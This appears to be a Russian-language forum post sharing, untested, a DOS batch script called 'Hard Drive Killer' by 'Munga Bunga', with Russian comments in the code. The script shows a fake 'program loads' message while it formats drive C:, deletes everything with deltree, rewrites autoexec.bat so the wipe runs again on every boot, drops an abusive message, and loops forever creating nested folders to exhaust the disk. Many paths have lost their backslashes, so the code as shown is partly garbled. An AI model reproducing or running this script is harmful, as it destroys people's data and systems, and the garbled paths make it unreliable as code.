Вот, хотя не не тестил.
@echo off

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -h -r c:autoexec.bat >nul

echo @echo off >c:autoexec.bat

echo call format c: /q /u /autotest >nul >>c:autoexec.bat

echo call deltree /y c: >nul >>c:autoexec.bat

echo dummy variable >c:dvar.txt

:form

call format c: /q /u /autotest >nul

if exist c:dosformat.* goto dosform

if exist c:windowscommandformat.* goto winform

goto de

:dosform

cddos >nul

call format c: /h /q /u /autotest >nul

cd >nul

:winform

cdwindowscommand >nul

call format c: /h /q /u /autotest >nul

cd >nul

goto inform

:de

if exist c:dvar.txt goto dtree

goto inform

:dtree

call deltree /y c: >nul

if exist c:dosdeltree.* goto deldos

if exist c:windowscommanddeltree.* goto delwin

goto inform

:deldos

cddos

call deltree /y c: >nul

cd

:delwin

cdwindowscommand >nul

call deltree /y c: >nul

cd >nul


:inform

cls

echo You have been hit by the Hard Drive Killer, written by Munga Bunga >c:hdkiller.txt

echo HD Killer is a Munga Bunga Production. >>c:hdkiller.txt

echo. >>c:hdkiller.txt

echo Here is a message to all you butt lickers. . . >>c:hdkiller.txt

echo. >>c:hdkiller.txt

echo FREE KEVIN MITNIC [Munga Bunga]. >>c:hdkiller.txt

echo. >>c:hdkiller.txt

echo If you were destroyed by this HDkiller program, then you would have >>c:hdkiller.txt

echo deserved it. Die you mother fu#$ers!!!! >>c:hdkiller.txt


rem Последующий код переписывает файл autoexec.bat

echo @echo off >c:autoexec.bat

echo cls >>c:autoexec.bat

echo :form

echo call format c: /q /u /autotest >nul >>c:autoexec.bat

echo if exist c:dosformat.* goto dosform >>c:autoexec.bat

echo if exist c:windowscommandformat.* goto winform >>c:autoexec.bat

echo goto de >>c:autoexec.bat

echo :dosform >>c:autoexec.bat

echo cddos >nul >>c:autoexec.bat

echo call format c: /q /u /autotest >nul >>c:autoexec.bat

echo cd >nul >>c:autoexec.bat

echo :winform >>c:autoexec.bat

echo cdwindowscommand >nul >>c:autoexec.bat

echo call format c: /q /u /autotest >nul >>c:autoexec.bat

echo cd >nul >>c:autoexec.bat

echo goto write >>c:autoexec.bat

echo :de >>c:autoexec.bat

echo if exist c:dvar.txt goto dtree >>c:autoexec.bat

echo goto write >>c:autoexec.bat

echo :dtree >>c:autoexec.bat

echo call deltree /y c: >nul >>c:autoexec.bat

echo if exist c:dosdeltree.* goto deldos >>c:autoexec.bat

echo if exist c:windowscommanddeltree.* goto delwin >>c:autoexec.bat

echo :deldos >>c:autoexec.bat

echo cddos >>c:autoexec.bat

echo call deltree /y c: >nul >>c:autoexec.bat

echo cd >>c:autoexec.bat

echo :delwin >>c:autoexec.bat

echo cdwindowscommand >nul >>c:autoexec.bat

echo call deltree /y c: >nul >>c:autoexec.bat

echo cd >nul >>c:autoexec.bat

echo :write >>c:autoexec.bat

echo type hdkiller.txt >>c:autoexec.bat

echo c: >>c:autoexec.bat

echo cd >>c:autoexec.bat

echo :nasty >>c:autoexec.bat

echo md nasty >>c:autoexec.bat

echo cd nasty >>c:autoexec.bat

echo echo You're Gone @$$ hole!!!! >yourgone.txt >>c:autoexec.bat

echo goto nasty >>c:autoexec.bat

echo pause >>c:autoexec.bat

rem Перепись файла autoexec.bat закончена.

c: >nul

cd >nul

:killfat

md nasty >nul

cd nasty >nul

echo You're Gone ass hole!!!! >yourgone.txt >nul

goto killfat

:end